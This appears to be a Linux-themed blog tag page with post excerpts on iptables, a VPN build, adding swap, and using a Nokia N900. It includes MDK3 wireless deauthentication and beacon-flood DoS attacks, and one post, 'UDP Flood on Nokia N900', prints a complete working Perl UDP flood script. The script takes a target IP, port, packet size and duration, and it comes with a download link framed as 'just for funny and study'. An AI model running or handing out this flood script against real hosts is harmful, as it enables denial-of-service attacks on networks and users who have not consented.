Posts tagged with Linux

利用 iptables 折腾安全的服务器环境

0x00 概述

iptables 是 Linux 内核集成一套包过滤系统,并且可以实现状态防火墙,建立精细的包过滤列表,功能十分强大,所以选择折腾 iptables 来实现防火墙。

iptables 一共有 4 个表:filter,nat,mangle,raw,5 个链:INPUT,OUTPUT,FORWARD,POSTROUTING,PREROUTING

功能

  • filter:实现防火墙一般的数据包过滤功能。(默认表)
    • Chain: INPUT,OUTPUT,FORWARD
  • nat:网络地址转换。
    • Chain: PREROUTING,POSTROUTING
  • mangle:修改数据包。
    • Chain: INPUT,OUTPUT,FORWARD,POSTROUTING,PREROUTING
  • raw:不让 iptables 做数据包链接跟踪,提高性能。
    • Chain: PREROUTING,OUTPUT

- Read More -

Nokia N900 利用 MDK3 进行 DOS 攻击

802.11 无线网络使用的是 2.4 GHz 频带,虽然现在不少高端 Android 都开始支持 5 GHz,但目前路由器使用这个频带的很少,因此实用性也不高。正是因为使用了 2.4 GHz 频带的原因,我们的无线网络很容易受到其他无线电波的干扰,所以,无线 Dos 攻击变得十分容易。

MDK3 相信使用过 BackTrack 的同学都不会陌生,这是一个无线网络 Dos 攻击工具,它不仅支持 Beacon Flood(类似于虚假热点 Fake-ap),还有 Authenticaction Dos(认证 Dos 攻击),DeAuthenticaction Amok(解除认证攻击),802.1X 攻击,探测隐藏 ssid 等功能。现在就让我们的 N900 跑起来,进行无线 Dos 攻击测试。

- Read More -

基于 Debian 6.x 搭建 PPTP / L2TP IPSec VPN

生活在一个拥有庞大局域网的国度,对 VPN 的需求是越来越大了,老是买吧不划算,自己用得特别多,还要跟那些用 VPN 玩美服的小屁孩一起堵,于是果断决定在 Linode 的一台闲置 VPS 上搭建一个。其中各种艰辛啊,Google 找回来的搭建方案又无数种,个个说法不一,又找遍基友们实践,最终终于把这个方案折腾出来了。(PS:Linode 是某朝重点关照对象,在使用 VPN 时要自行承受 IP 被 Ban 的风险。)

- Read More -

给 Linux VPS 增加 Swap

许多 Linux 的 VPS 提供的安装镜像往往是没有 Swap 分区的,多数小站长都会选择最低配置的 VPS,内存都在 256 MB 到 512 MB 之间,所以 Swap 在我们这些配置不是特别高的主机上起着很重要的作用。

这时我们可以通过后期操作,给 VPS 分配 Swap。

- Read More -

UDP Flood on Nokia N900

I made a DDOS test recently, after it I had a fancy idea --- Using Nokia N900 to made UDP Flood.

As we know, The Nokia N900's system is Maemo 5, and the Maemo 5 was base on the Debian. So Nokia N900 is a pocket PC that we can do anything on it. We can use the Perl, and let the socket module to send UDP pockets.

source code :
#!/usr/bin/perl

############################
# udp flood script for perl
############################

use Socket;
use strict;

if ($#ARGV != 3) {
  print "flood.pl ip port size time\n\n";
  print " port=0: use random ports\n";
  print " size=0: use random size between 64 and 1024\n";
  print " time=0: continuous flood\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " . 
  ($size ? "$size-byte" : "random size") . " packets" . 
  ($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

#my $sum = 1;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65535))+1;
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  #$sum+=1;
  #print "sending package".$sum;
  #system "clear";
}

But DOS attack need powerful CPU and other energy. The Nokia N900 just has 600MHz CPU, Although we can overclock the CPU, but the effect is not obvious.

Okay, Just for funny and study :-)

Download the flood code : flood.pl

Nokia N900

一直都对 Linux 的掌上终端挺感冒的,于是让人从外面带回来了一台库存的 Nokia N900。选择 N900 是有原因的,首先 N900 相对来说比较小巧(作为 MID,对比起手机还是很厚重),并且 N900 相对上几代的产品配置更高,而且加入了电话功能,不再像N800 那样需要依赖 WIFI。并且N900采用的是 Maemo 5 系统(基于 Debian),许多软件都被支持,要是自己会 Python,呵呵。

- Read More -